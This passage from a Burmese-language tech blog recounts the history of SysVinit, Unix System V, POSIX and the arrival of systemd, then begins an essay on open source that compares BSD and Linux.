တွေမှာတော့ Linux ဟာ Windows တို့ Apple တို့ ထက် အရှေ့အများကြီး ရှိနေတယ်လို့တော့ စာရေးသူထင်ပါတယ်။ ဒီနှစ်ပိုင်းတွေထဲမှာတော့ GNU/Linux desktop ကို အသုံးပြုသူများလာ နိုင်စရာရှိတယ်လို့တော့ ခန့်မှန်းချက်ထုတ်ထားပါတယ်။ မည်သို့ပင် ဖြစ်စေ Open Source project ဖြစ်တဲ့ Linux ကတော့ လက်ရှိမှာ computing လောကကြီးကို အများကြီး ပြောင်းလဲတိုးတက်စေခဲ့ပါတယ်။ လက်တွေမှာတော့ Linux kernel ရဲ့ကောင်းမွေတွေကြောင့် virtualisation platform တွေ၊ cloud computing platform တွေ နဲ့ containerization တွေဟာ နောင်အနာဂတ်မှာ မရှိမဖြစ် ဆက်လက်တိုးပွား ကောင်းမွန်လာမယ်ဆိုတာကိုတော့ နည်းပညာလောကထဲက လူတိုင်း ရိပ်စားမိကြမှာပါ။ ဒီ post ကိုတော့ အခုဒီ အပိုင်းနဲ့တင် အဆုံးသတ်လိုက်ပါ့မယ်။ Linux kernel နဲ့ ပတ်သတ်တာလေးတွေကို စာဖတ်သူတွေ အနေနဲ့ ဒီ post မှာ လေ့လာခွင့် အနည်းငယ်ရလိမ့်မယ်လို့ မျှော်လင့်မိပါတော့တယ်။


# ပြတိုက်ထဲက SysVinit အကြောင်း

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-5d5010a7ddda4f821101ce1d79d266d19f0fe5e2%2Funnamed.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Linux Format ရဲ့ August လ ထုတ် issue မှာပါလာတဲ့ ဆောင်းပါးလေး တစ်ခုကို စာရေးသူ စိတ်ဝင်စားလို့ ကောက်ဖတ်လိုက်ရာကနေ ဒီ post ကို ရေးဖို့ကို စိတ်ကူးမိပါတော့တယ်။ ဆောင်းပါက SysV (System 5 ရယ်လို့ Linux ကမ္ဘာမှာ ခေါ်ကြပါတယ်။ Roman နံပါတ် V ကို 5 လို့ ခေါ်ဆိုလိုက်ခြင်းဖြစ်ပါတယ်။) အကြောင်းကို သမိုင်းဝင် အချက်လေးတွေနဲ့ ဖွဲ့နွဲ့ပြီး ရေးထားလိုက်တာ စဖတ်လိုက်ကတည်းက လက်ထဲကမချချင်လောက်အောင် ကောင်းတဲ့ ဆောင်းပါတစ်ခုပါ။ ဆောင်းပါး အဖွင့်မှာ Devuan ဆိုတဲ့ Debian ကနေဆင်းသက်လာသော Linux distro တစ်ခုအကြောင်းနဲ့ စပါတယ်။ အဲ့ဒီ distro ကို စာရေးသူလည်း တခါမှ မကြားဘူးတော့ ဟိုရှာဒီရှာ နဲ့ လိုက်ပြီး ရှာဖတ်ရပါတော့တယ်။ နောက်တစ်ခု စိတ်ဝင်စားဖို့ကောင်းတဲ့ အချက်က Devuan ဟာ အခုအချိန်ထိ SysV သုံးထားတယ်ဆိုတာပါပဲ။ စာရေးသူ ကိုယ်တိုင် SysV နဲ့ သိပ်ပြီး မရင်းနှီးပါဘူး။ ကိုယ်တိုင်သုံးတဲ့ distro တွေအကုန်လုံးက systemd တွေနဲ့ ဖြစ်တဲ့ အတွက် တခါမှ SysV ဆိုတာဘာလဲလို့ စိတ်ကူးထဲ မရောက်လာခဲ့ပါဘူး။ သို့သော် ကိုယ့်အရှေ့ ကLinux ဆရာကြီးတွေက SysV ကောင်းတယ်လို့ လမ်းကြုံတိုင်း တိုက်တွန်းကြလွန်းလို့ စာရေးသူ အတွက် အစိမ်းသက်သက်ကြီးတော့လည်း မဟုတ်ပါဘူး။ ကိုယ်ကသိချင်လို့ မေးလိုက်ရင်လည်း SysV ကောင်းတယ်၊ secure ပိုဖြစ်တယ်လို့ ဆိုတာလောက်ပဲ ပြောပြောသွားတော့ စိတ်ထဲမှာ အများကြီးလည်း သိပ်မကျန်ခဲ့ပါဘူး။ အကျဉ်းချုပ်အားဖြင့်တော့ SysV ကို ရှေးဟောင်း Linux distro တွေမှာ သုံးတယ်လို့ဆိုတာလောက်ပဲ သိခွင့်ရခဲ့ပါတယ်။ ဒီတခါတော့ Linux Format Magazine မှာ ဆောင်းပါးတစ်ခု အနေနဲ့ ပါလာလို့ စိတ်ဝင်စားတာနဲ့ ဖတ်စမ်းရာကနေ ဒီ post ကို ရေးဖြစ်ပါတော့တယ်။ ပထမဆုံး အနေနဲ့ init ဆိုတာဘာလဲဆိုတာလေးနဲ့ စလိုက်ချင်ပါတယ်။

## Init ဆိုတာဘာလဲ

GNU/Linux သုံးတဲ့ လူတိုင်းသိပါတယ်၊ init ဘာလဲဆိုတာကို။ Init ရဲ့အရှည်ကတော့ Initialization ပါ။ သူက Linux system ရဲ့ daemon သို့မဟုတ် process တစ်ခုဖြစ်ပြီး၊ Linux kernel စပြီးတော့ run တာနဲ့ ပထမဆုံး စတင် run ရတဲ့ parent daemon တစ်ခုဖြစ်ပါတယ်။ သူကနေမှ တဆင့် အခြားလိုအပ်တဲ့ daemon တွေကို ဆက်ပြီး run နိုင်တာဖြစ်တဲ့အတွက်၊ init မစနိုင်ရင် အခြားသော သက်ဆိုင်ရာ daemon တွေကို Linux system မှာ run လို့မရနိုင်ပါဘူး။ Linux system ကိုလုံးဝ shutdown လုပ်မှပဲ၊ init ရဲ့ လုပ်ငန်းစဉ်ကလည်း အဆုံးသတ်ပါတော့တယ်။ တခါတခါ Linux system မှာ boot မတက်နိုင်ရင် kernel panic ဆိုပြီးတော့ black screen ပေါ်မှာ error တက်လာတတ်ပါတယ်။ အဲ့ဒီ error ဟာ init ကို Linux kernel က မစနိုင်လို့ ပြတဲ့ error တစ်ခုပါ။ ပုံမှန်အားဖြင့် Linux distro တော်တော်များများမှာ kernel panic ဖြစ်ရင် kernel ကို update မလုပ်ခင်က အရှေ့ kernel release တစ်ခုကို ပြန်သွားလို့ ရအောင် snapshots တွေရှိပါတယ်။ လက်ရှိတစ်ခုရဲ့ အရှေ့တစ်ခုကို ရွေးလိုက်ပြီး boot ပြန်တက်လိုက်ရင် အဆင်ပြေသွားတက်ပါတယ်။ အနည်းဆုံးတော့ system ထဲဝင်လို့ရသွားတဲ့အတွက် ကိုယ်ရဲ့ data မဆုံးရှုံးတော့ပါဘူး။ များသောအားဖြင့် Linux မှာ system update၊ kernel release update လုပ်တဲ့အခါမှာ မခပ်မသင့်ရင် kernel panic ဖြစ်တတ်ပါတယ်။ Microsoft ရဲ့ Windows မှာတော့ Blue Screen of Death (BSoD) လို့ လူသိများကြပါတယ်။ မူရင်း ဆိုလိုရင်းက Linux system တစ်ခုကို run ဖို့အတွက် init ဟာ အရေးပါ အရာရောက်ပါတယ်။

## SystemV သို့မဟုတ် SysVinit သို့မဟုတ် SysV သမိုင်းကြောင်း

သမိုင်းကို ပြန်ကောက်ရရင် Linux မတိုင်ခင် Unix ကိုပြန်ပြီးတော့သွားရပါလိမ့်မယ်။ Unix ကိုဟိုတချိန်တခါက Unix System V ရယ်လို့ လူသိများပါတယ်။ System V လို့ခေါ်တယ်ဆိုတော့ အရှေ့မှာ System I, II, III ဆိုပြီး မရှိဘူးလားဆိုတော့ ရှိပါတယ်။ လက်ရှိမှာတော့ မသုံးတော့ပါဘူး။ AT\&T ဆိုတဲ့ အမေရိကန် ကုမ္ပဏီ တစ်ခုက ၁၉၈၃ နှစ်တွင်းမှာ System V ကိုစတင်မိတ်ဆက်ပေးလိုက်ပါတယ်။ နောက်ပိုင်းတော့ SysV လို့ အတိုကောက် ခေါ်ကြပါတယ်။ System V မှာမှ ပထမဆုံး release ကို System V Release 1၊ အတိုကောက် SVR1 ပြီးတော့ SVR2၊ SVR3 နဲ့ SVR4 ဆိုပြီးတော့ ဆက်တိုက်ထုတ်လာလိုက်တာ SVR6 အထိတိုင်အောင်ပါပဲ။ SVR4 က အအောင်မြင်ဆုံး release တစ်ခုအနေနဲ့ လူသိများပါတယ်။ SysV ဟာ commercial ဘက်မှာ အောင်မြင်မှုများစွာနဲ့ အချိန်တော်တော်ကြာကြာကြီးကို ရပ်တည်နေနိုင်ခဲ့ပါတယ်။ အဲ့လို အောင်မြင်လာတာနဲ့အမျှ တဘက်မှာလည်း BSD သို့မဟုတ် Berkeley Software Distribution ဆိုတဲ့ project ကလည်း non-commercial Unix developers တွေကြားမှာ နေရာယူလာနိုင်ပါတယ်။ အစမှာ AT\&T ကနေ Unix ရဲ့ codebase ကို အစပျိုးခဲ့သော်လည်း နောက်ပိုင်းမှာ Unix War ဆိုပြီး commercial Unix ရဲ့ SysV နဲ့ non-commercial Unix ရဲ့ BSD project တွေကြားမှာ တော်တော်လေးကို ရှုပ်ထွေးခဲ့ရပါတယ်။ တနည်းအားဖြင့် ဥပဒေပိုင်းမှာ တိုးတက်လာတဲ့ နည်းပညာ အတွက်ပြင်ဆင်ထားတဲ့ ပြဠာန်းချက်ကောင်းကောင်း အဲ့ဒီ အချိန်က ရှိပုံမရပါဘူး။ အဲ့ဒါကြောင့်လည်း အငြင်းပွားစရာ အများကြီးနဲ့ တရွတ်တိုက် ရှင်းလို့မပြီးပဲ အန္တရယ်ကင်းတဲ့ Linux ဘက်ကို ဖြေးဖြေးချင်းစီ ကူးပြောင်းလာကြပါတယ်။

### POSIX အကြောင်းတစေ့တစောင်း

Linux မတိုင်ခင် တခုပြောစရာကျန်တာက POSIX ပါ။ သူ့ရဲ့ အရှည်ကတော့ Portable Operating System Interface (POSIX) ဖြစ်ပါတယ်။ POSIX ဆိုတာက စံစနစ် အစုတစ်ခုဖြစ်ပြီး၊ IEEE ရဲ့ professional society တစ်ခုဖြစ်တဲ့ Computer Society (CS) ကနေပြီးချမှတ်ပေးထားသော စံစနစ် အစုတစ်ခုဖြစ်ပါတယ်။ မူလရည်ရွယ်ချက်မှာက မတူတဲ့ operating systems တစ်ခုနဲ့ တစ်ခု ကြားမှာ compatibility ရှိစေဖို့ကို စောင့် ကြည့် ထိန်းသိမ်းထား နိုင်ရန်ဖြစ်ပါတယ်။ POSIX ဟာ cross-platforms တွေမှာသုံးတဲ့ API (Application Programming Interface) အပြင်၊ သူနဲ့ တွဲပါလာမယ့် CLI shells တွေနဲ့ utility interfaces မှာ software compatibility အတွက်ကို စံစနစ်တွေသတ်မှတ် ပေးထားပါတယ်။ နောက်တစ်ခု စိတ်ဝင်စားစရာကောင်းတဲ့ အချက်က POSIX ဆိုတဲ့ နာမည်ဖြစ်လာပုံပါပဲ။ အစပိုင်းမှာ IEEE ရဲ့ ထုံးစံအတိုင်း သူ့ရဲ့ standardization process မှာသုံးတဲ့ naming convention ဖြစ်သော IEEE prefix နဲ့ သက်ဆိုင်ရာ စံနံပတ် သို့မဟုတ် suffix တွေကိုထည့်လေ့ရှိပါတယ်။ POSIX ရဲ့ မူရင်းနာမည်ကတော့ IEEE 1003 ဖြစ်ပြီးတော့၊ international standard name အတွက်တော့ ISO/IEC 9945 ကို သတ်မှတ်ပေးခဲ့တာဖြစ်ပါတယ်။ တဖန် IEEE 1003 ဟာ အဲ့ဒီ အချိန်က Unix ကနေဆင်းသက်လာတဲ့ variants တွေပေါင်းများစွာရဲ့ မတူတာတွေ တူအောင် ညှီနှိုင်းပေးနိုင်ဖို့ အဓိက ရည်ရွယ်တာဖြစ်တဲ့အတွက် IEEE-IX ဆိုပြီး လွယ်အောင်မှတ်ခဲ့ကြပါတယ်။ IX ဆိုတာဟာတော့ UNIX အနောက်ကစာလုံးနှစ်လုံးကိုယူထားတာ ဖြစ်ပါတယ်။ နောက်တခါ IEEE-IX ဟာ ခေါ်ရတာ ထောက်တယ်ဆိုပြီးတော့မှ၊ Richard Matthew Stallman (RMS) က POSIX လို့ခေါ်ဆိုရန် အဆိုတင်သွင်းရာကနေမှ POSIX ဆိုတာကို IEEE ကလည်း လက်ခံလိုက်ပြီး အခုချိန်ထိလည်း POSIX ရယ်လို့ပဲ လူသိများလာခဲ့ပါတယ်။ အဲ့ဒီ အချိန်က Richard Stallman (RMS) တစ်ယောက် နည်းပညာအသိုင်းအဝိုင်းမှာ ဘယ်လောက်တောင် တန်ခိုးထွားခဲ့ သလဲဆိုတာကို ဒီအချက်တစ်ခုက သက်သေထူနေပြန်ပါတယ်။ နောက်ပြီး IEEE ဟာ UNIX ကို standards တွေသတ်မှတ်ဖို့ရာ ဘာလို့ရွေးချယ်ခဲ့သလဲဆိုတော့ Unix ဟာ ဘယ် platform မှာဖြစ်ဖြစ် အလုပ်လုပ်တဲ့ manufacture-agnostic OS တစ်ခုဖြစ်နေလို့ပါပဲ။

### SysV ရဲ့ UnixWare မှသည် Linus Torvalds ရဲ့ Linux ဆီသို့

၁၉၉၂ခုနှစ်မှာ AT\&T Unix System Laboratories (USL) နဲ့ Novell တို့ ပေါင်းပြီးတော့ Unix System V ရဲ့ release 4.2 သို့မဟုတ် SVR4.2 ထုတ်ပါတယ်။ UnixWare ဆိုပြီး အသိများတဲ့ release တစ်ခုပါ။ နောက်ပိုင်းမှာ Novell က UnixWare ကို ဆက်ပြီး commercial platform မှာ သူ့ရဲ့ product အနေနဲ့ ဆက်ပြီးတော့ ထုတ်ပါတယ်။ Novell ဟာလည်း နောက်ပိုင်းမှာ ပြဿနာပေါင်းများစွာနဲ့ ပျောက်ချင်းမလှ ပျောက်သွားပါတော့တယ်။ တချိန်က Unix နဲ့ Linux ရဲ့ Sysadmin veterans တွေက အခုချိန်ထိ UnixWare နဲ့ Novell အကြောင်းကို တဖွဖွ တမ်းတ အတောမသက်နိုင်အောင် ပြောဆိုနေတတ်တုန်းပါ။ အခုတော့လည်း Red Hat လို၊ Canonical လို ကုမ္ပဏီတွေပဲ Linux ကမ္ဘာမှာ ကျန်ခဲ့ပါတော့တယ်။

၂၀၀၁ ခုနှစ်ကနေစလို့ Unix ရဲ့ variants တွေဖြစ်တဲ့ SCO ရဲ့ UniWare, Compaq ရဲ့ Tru64 Unix နဲ့ SGI IRIX တို့ဟာ လူသုံးနည်းလာပြီး၊ တဘက်မှာလည်း Linux ရဲ့ Distro တော်တော်များများနဲ့ Microsoft ရဲ့ Windows တို့ဟာလည်း နေရာဝင်လာခဲ့ပါတယ်။ ၂၀၀၆ ခုနှစ်မှာ Linux ရဲ့ Red Hat နဲ့ Debian တို့လို အောင်မြင်တဲ့ distro တွေဟာ Unix OS တွေကို နေရာ အတော်လေးယူပြီးသလောက်ရှိလာခဲ့ပြန် ပါတယ်။ Unix ရဲ့ SystemV သို့မဟုတ် SysV ကို ဆက်ပြီးတော့ Linux ကမ္ဘာမှာ မွေးစားထားခဲ့ပါတယ်။ Linux ရဲ့ distro တွေအားလုံးဟာ System V ကို သုံးပြီးပဲ Init ရဲ့ Run Level တွေကို ထိန်းချုပ်ခဲ့ကြပါတယ်။ System V ဟာ အစကောင်းလို့ သက်တမ်းအားဖြင့် တော်တော်လေး ခံခဲ့တာ ၂၀၁၀ ခုနှစ်တိုင်အောင်ပါပဲ။ ဘာဖြစ်လို့လဲဆိုတော့ ၂၀၁၀ ခုနှစ် အစပိုင်းမှာ Red Hat က systemd ကို စတင်မိတ်ဆက်ပေးလိုက်လို့ပဲ ဖြစ်ပါတယ်။

## ခေတ်သစ် Systemd

Systemd ဖြစ်လာဖို့အတွက် တာဝန်ရှိတဲ့ ပုဂ္ဂိုလ်တွေက software engineers နှစ်ယောက်ဖြစ်တဲ့ Lennart Poettering နဲ့ Kay Sievers ပါ။ နှစ်ယောက်လုံးက Red Hat အတွက် systemd ကို ၂၀၁၀ ခုနှစ်မှာ project တစ်ခုအနေနဲ့ စတင်ခဲ့ပြီး၊ အခုအချိန်မှာတော့ သူတို့နှစ်ယောက်လုံး Red Hat မှာမရှိတော့ပါ။ Linux နဲ့ Open Source community မှာ နှစ်ယောက်လုံးဟာ project ပေါင်းများစွာ အတွက် contribute လုပ်ထားပြီးတော့၊ systemd components တော်တော်များများ အတွက်လည်း တာဝန်ယူထားတာ အများကြီးပဲရှိပါတယ်။ တပိုင်းတည်းမှာဆိုသလို Unix နဲ့ Linux သမားတွေထဲမှာ သူတို့နှစ်ယောက်လုံးကို ကြိုက်တဲ့သူရှိသလို၊ မကြိုက်တဲ့သူတွေလည်း အများကြီးရှိပါတယ်။ ဥပမာ Lennart Poettering ဆိုရင် systemd ကိုစတင် မိတ်ဆက်စဥ် တုန်းက အခက်အခဲ ကြီးတစ်ခုကို ရင်ဆိုင်ရပါတယ်။ ဘာလဲဆိုရင် Linux ကမ္ဘာက ရှေးရိုးစွဲ ပုဂ္ဂိုလ်ကြီးများ ထိပ်တိုက်ရင်ဆိုင်ရပါတယ်။ SysV ကို အစားထိုးမယ့် systemd ကို ၁၉၈၀၊ ၁၉၉၀ က Linux ပညာရှင်များက လုံးဝကို မနှစ်မျို့ကြပါဘူး။ တချို့ဆို Lennart ကိုသတ်ဖြတ်မယ် ဆိုတဲ့ ခြိမ်းခြောက်စာတွေတောင် အပို့ခံရပါတယ်။ အလားတူ Kay Sievers ကိုလည်း Linux kernel developing ကနေပြီးတော့ ban ခံရပါတယ်။ Linus Torvolds ကိုယ်တိုင်က Kay ဟာ Linux kernel အတွက် ပြဿနာတွေသယ်သယ် လာပြီး၊ အဲ့ဒီပြဿနာတွေကို ဖြေရှင်းချက်မပေးနိုင်ဘူး ဆိုပြီးတော့ ban ခဲ့တာပါတဲ့။ ဆိုတော့ကာ… systemd ရဲ့ ခရီးအစက မဖြောင့်ဖြူး ခဲ့ပါဘူး။ သို့သော် အခုချိန်မှာ Linux ရဲ့ distro တော်တော်များဟာ systemd နောက်ကို အကုန်လုံးနီးပါး လိုက်လာခဲ့ကြပါပြီ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-839a16f37628f3ff8826a46783d8332ca827e778%2FLennart_poettering.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7dfd74138b3f5197887d44a522bbe3f5fd0b1f21%2F220px-20120929-DP4A6953.jpg?alt=media" alt=""><figcaption></figcaption></figure>

### Systemd ဆိုတာဘာလဲ?

Systemd ဆိုတာ Linux operating system စတင်ဖို့လိုအပ်တဲ့ အဓိကအကျဆုံး အစိတ်အပိုင်းတွေကို အချိုးကျကျ စတင်ပေးဖို့အတွက် system and service manager တစ်ခုပါ။ မူလရည်ရွယ်ချက်ကတော့ Linux distribution တွေအားလုံးမှာ bootstrap loader ကနေ configurations နဲ့ service behaviors တွေကို တညီတည်းဖြစ်အောင်လို့ပါ။ Systemd က d ဆိုတာကတော့ daemons ကိုကိုယ်စားပြုပါတယ်။ Systemd ဟာ SysV ကို အစားထိုးဖို့လည်းဖြစ်တဲ့ အတွက် လုပ်ဆောင်ချက် အများစုဟာ ခပ်ဆင်ဆင်တူသော်လည်း၊ ကွာခြားချက်တွေဟာလည်း အများကြီးရှိပါတယ်။ Systemd project ကိုစတင်ခဲ့တဲ့ Lennart ကတော့ systemd ဟာ Linux မှာလိုအပ်နေတဲ့ အစိတ်အပိုင်းနဲ့ လုပ်ဆောင်ချက်တွေကို systemd က ဖြည့်ဆည်းပေးထားတယ်။ ခေတ်သစ် operating system တစ်ခုမှာရှိသင့်တဲ့ အင်္ဂါရပ်တွေ Linux မှာမရှိသေးတဲ့အတွက် systemd ကိုစတင်ဖို့ဖြစ်လာရတယ်လို့လည်းဆိုပါတယ်။ နောက်ပြီးတော့ systemd ဟာ SysV နဲ့ယှဥ်လိုက်ရင် အများကြီးကျစ်လျစ်မူရှိတယ်၊ dependencies နည်းတယ်လို့လည်း သူကဆိုပါတယ်။ Systemd အကြောင်းသီးသန့်ပြောမယ်ဆိုရင်တောင် သူ့အကြောင်းအရာနဲ့ အစိတ်အပိုင်းတွေကို အသေးစိတ်ပြောရမှာမို့ ပြီးမှာမဟုတ်ပါဘူး။ နောက်မှပဲ systemd အကြောင်းကို သပ်သပ်ထပ်ရေးပါတော့မယ်။ ဒီမှာတော့ အသေးစိတ်မသွားလိုတော့ပါဘူး။

### SystemV နဲ့ Systemd ဘာကွာသလဲ

SystemV မှာတုန်းက scripts တွေကို နံပတ်စဥ်အလိုက် daemons တွေကို စတင်ဖို့နဲ့ အဆုံးသတ်ဖို့ သတ်မှတ်ပေးပြီးတော့၊ အဲ့ဒီ အစဥ်လိုက်တိုင်း တစ်ခုပြီးမှ တစ်ခု daemons တွေကို စရ ဆုံးရပါတယ်။ အဲ့ဒီ scripts နံပတ်စဥ် အစုအစည်းကို startup sequences လို့ခေါ်ပါတယ်။ တခါတရံမှာ scripts တွေကိုလို သလို ပြင်ဆင်ရတာမျိုးရှိပါတယ်။ Dependencies တွေအများကြီး ရှိတဲ့အတွက် ဘယ် daemon အရင်ဆုံးစရမလဲ၊ ပြီးရင် ဘယ် daemons တွေကို တစ်ခုချင်း စလို့ရသလဲဆိုတာတွေကို နားလည်ထားဖို့ အများကြီးလိုအပ်ပါတယ်။ နောက်တစ်ခုက Linux distro တစ်ခုနဲ့ တစ်ခု SysV အလုပ်လုပ်ပုံ မတူပါဘူး၊ unification နဲ့ standardization မရှိပါဘူး။ အဲ့ဒါကြောင့် ကိုယ်က SysV နဲ့လာတဲ့ distro တစ်ခု ကျွမ်းကျင်စွာ နားလည်ထားသော်လည်း၊ နောက် distro တစ်ခုကို ပြောင်းသွားရင် နောက်တစ်မျိုး ဖြစ်သွားပြန်ပါတယ်။

Systemd မှာတော့ scripts တွေကို SysV မှာလိုမျိုး တစ်ခုပြီးမှ တစ်ခုမသွားတော့ပဲနဲ့ တပြိုင်နက်တည်း လိုအပ်သလို daemons တွေကို စတင်ခြင်း နဲ့ အဆုံးသတ်ခြင်း လုပ်နိုင်စွမ်းရှိ ပါတယ်။ Boot process မှာ SysV ထက် အများကြီး သာပါတယ်။ နောက်တစ်ခုက systemd ဟာ init daemon တစ်ခုတည်းအတွက်မဟုတ်ပဲ system တစ်ခုလုံးကို ထိန်းချုပ်တဲ့ တခြား daemons တွေပါ စီမံကွပ်ကဲတဲ့ software bundle တစ်ခုပါ။ အခုအချိန်ထိလည်း systemd ဟာ ဆက်လက် development process အောက်မှာဆက်လက် ကြီးထွားနေဆဲပါ။

နိဂုန်းချုပ်ရရင်တော့ systemd ဟာ Linux operating system အတွက် မရှိမဖြစ်လိုအပ်တဲ့ စမ်းသစ်တီထွင်မူ တစ်ခုပါ။ SysV ကို တွယ်ကပ်နေတုန်းရှိတဲ့ Gentoo တို့ Slackware တို့လည်း Linux ကမ္ဘာထဲကနေ မကြာခင် တိပ်တခိုးထွက်ခွာသွားရတော့မှာပါ။ Systemd ကို လိုက်တဲ့ RHEL, CentOS, Fedora, OpenSUSE, Debian နဲ့ Ubuntu တို့ဟာလည်း Data Center တွေထဲမှာဆက်လက်နေရာ ယူလာဆဲပါ။ တချိန်က ခါးခါးသီးသီး ငြင်းဆန်ခဲ့တဲ့ SysV အုပ်စုလည်း ငြိမ်ချက်သားကောင်းနေပါပြီ။ Systemd သည်လည်း Linux distro တွေ တော်တော်များများ အတွက်လည်း အသုံးတော်ခံ အဓိက ဇာတ်ကောင် အနေနဲ့ ဆက်လက်တည်ရှိနေအုံးမှာပါ။


# Open source သင်ခန်းစာများ အပိုင်း(၁)

Open source နဲ့ ပတ်သတ်ရင် စာရေးသူဆီမှာ ပြောစရာတွေ အမြဲတမ်း ရှိနေတတ်ပါတယ်။ နည်းပညာလောကထဲက မိတ်ဆွေတွေနဲ့ တွေ့တိုင်း Linux အကြောင်း၊ open source အကြောင်းကို ကလေးတစ်ယောက်လို မနားတမ်းပြောတတ်တဲ့ အကျင့်ကြီးကလည်းပါလို့နေပါပြီ။ ကိုယ့်ဟာကိုလည်း တခါတလေ နားထောင်တဲ့လူ စိတ်ပျက်သွားမှာ စိုးရိမ်လို့ အရှိန်လျှော့ရတာလည်း အကြိမ်ကြိမ်ပါပဲ။ တခါတခါတော့လည်း ငါ inspired ဖြစ်သလို၊ နည်းပညာလောကထဲက ငါ့မိတ်ဆွေတွေလည်း inspired ဖြစ်မှာပဲ၊ စိတ်ဝင်စားကျမှာပဲ၊ အသုံးတည့်ကြမှာပဲ ဆိုပြီးတော့ ကိုယ့်ဟာကို ဖြည့်တွေးမိပါတယ်။ ဘယ်လိုပဲဖြစ်ဖြစ် လွတ်လပ်စွာ သုံးစွဲခွင့်ပေးထားတဲ့ software တွေအကြောင်း စာရေးသူ လွတ်လပ်စွာပြောဆိုရေးသားခွင့် ရှိတာကိုတော့ မည်သူမှ မေးခွန်းထုတ်မယ်လို့ မထင်ပါ။ Open source မှာရှိတဲ့ story တွေဟာ စိတ်ဝင်စားဖို့ကောင်းသလို၊ စိတ်ခွန်အားလည်း ရစေပါတယ်။ အစကတည်းက Free Software တို့ Open Source တို့ ဆိုတဲ့ title နဲ့လာပြီဆိုရင် နည်းပညာလောကမှာ အလွယ်တကူ ပယ်လိုက်ကြပါတယ်။ မည်သို့ပင်ဖြစ်စေကာမူ လက်ရှိမှာတော့ နည်းပညာလောကထဲမှာ အခက်အခဲဆုံးသော ပြဿနာတွေကို open source community ကြီးပဲဖြေရှင်းပေးနေရတာ နှစ်အနည်းလောက်တောင် ရှိတော့မယ်လို့ ထင်ပါတယ်။ ဒီလို story မျိုးမှ စိတ်မဝင်စားရင်၊ inspired မဖြစ်ရင် စာရေးသူတို့ဆီမှာ ပြောစရာ နည်းပညာနဲ့ပတ်သတ် story ကောင်းကောင်း ရှိနိုင်မှာမဟုတ်ပါဘူး။ အခြားသော နည်းပညာနယ်ပဲထဲက tech giant တွေဖြစ်တဲ့ Microsoft တို့ Apple တို့လို story တွေဟာ စာရေးသူအတွက်တော့ လောဘနဲ့ အတ္တတို့ ဖွဲ့စည်းထားပုံရလို့ ဘယ်တော့မှ ဘဝင်မကျခဲ့တာအမှန်ပါ။

Linux နဲ့ သူ့ environment မှာသုံးတဲ့ tools တွေနဲ့ အထိအတွေ့ ရှိခဲ့သော်လည်း Open source တို့ Linux တို့ဆိုတဲ့ အသံကြားရုံနဲ့ စိတ်လှုပ်ရှားခဲ့တာမျိုး ဘယ်သောအခါမှာ မရှိခဲ့ဘူးပါ။ ဒီနောက်ပိုင်းနှစ်တွေမှာ open source အကြောင်းတွေရှာဖတ်တယ်၊ သိလည်းသိချင်တယ်၊ အများကြီးလည်း သိဖို့ကျန်နေသေးတယ်လို့ ကိုယ်ကိုကိုယ် ထင်မိပါတယ်။ Open source မှာရတဲ့ အသိပညာ အတတ်ပညာ တွေဟာ စာရေးသူအတွက်တော့ နည်းပညာလောကထဲမှာ လေ့လာသင်ယူ နိုင်မှု အရှိန်အဟုန်တွေကို တွန်းတင်ပေးသလိုလည်းခံစားမိပါတယ်။ ဒါ့အပြင် Linux ရယ်လို့ ဖြစ်လာဖို့ အတွက် အများကြီးအရေးပါတဲ့ Free Software ဆိုတဲ့ movement နဲ့ GNU GPL ဆိုတဲ့ philosophical thought process ကိုလည်း အရမ်းကိုသဘောကျပါတယ်။ မည်သို့ပင် ခံယူချက်တွေ မတူလို့ ကွဲကြပြဲကြရှိခဲ့သော်လည်း နောက်ဆုံး ရလဒ်က စုပေါင်းအားဆိုတဲ့ synergy ကြောင့်သာ လက်ရှိ open source ဆက်လက်ရပ်တည် နေတာကိုတော့ ငြင်းလို့ မရပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2b7065e7389979b3c8ea96d7016111690d8aa731%2FOpen-Source-768x576.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အမှန်တကယ်တော့ ဒီ post မှာရေးချင်တဲ့ အကြောင်းအရာက BSD ပါ။ နောက်ပြီးတော့ BSD ဟာ Linux နဲ့ဘယ်လို ကွာသလဲ၊ ဘယ်လို တူသလဲဆိုတဲ့ အကြောင်းလေးတွေကို ဆွေးနွေးပြချင်တာပါ။ BSD အကြောင်းကို ဦးတည်ပြီးရေးဖို့ဆိုရင် အကြောင်းအရာတော်တော်များများက GNU/Linux နဲ့ ခပ်ဆင်ဆင်သွားတူနေတာကို တွေ့ပါလိမ့်မယ်။ သို့သော် Linux ရဲ့ story ကစိတ်လှုပ်ရှားစရာကောင်းပါတယ်။ BSD ကတော့ နည်းပညာနယ်ပယ် ပုံစံခွက်ထဲက ထွက်လာတဲ့ ပုံစံမှန်တဲ့ operating system တစ်ခုလို့ဆိုရင်လည်း မမှားပါဘူး။ နှစ်ပိုင်းအရတော့ BSD က GNU/Linux ထက် ၂၁၊ ၂၂ နှစ်လောက်တော့ ပိုစောမယ် ထင်ပါတယ်။ BSD ဖြစ်ပေါ်လာပုံကလည်း Linux အလားတူ စိတ်ဝင်စားစရာတွေအများကြီးရှိလို့နေပါတယ်။ နှစ်ခုလုံးကို ယှဉ်ကြည့်လိုက်ပြန်တော့လည်း open source ကနေ သင်ယူစရာ သင်ခန်းစာတွေ မကုန်နိုင်အောင်ပါပဲ။ ဒါကြောင့် ခေါင်းစဉ်ကို open source သင်ခန်းစာများ ဆိုပြီးတော့ ကယောင်ကတန်း ပေးလိုက်တာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-d63dad1737830509713b9c92313da2eac45c7c79%2FBSD-Linux.jpg?alt=media" alt=""><figcaption></figcaption></figure>

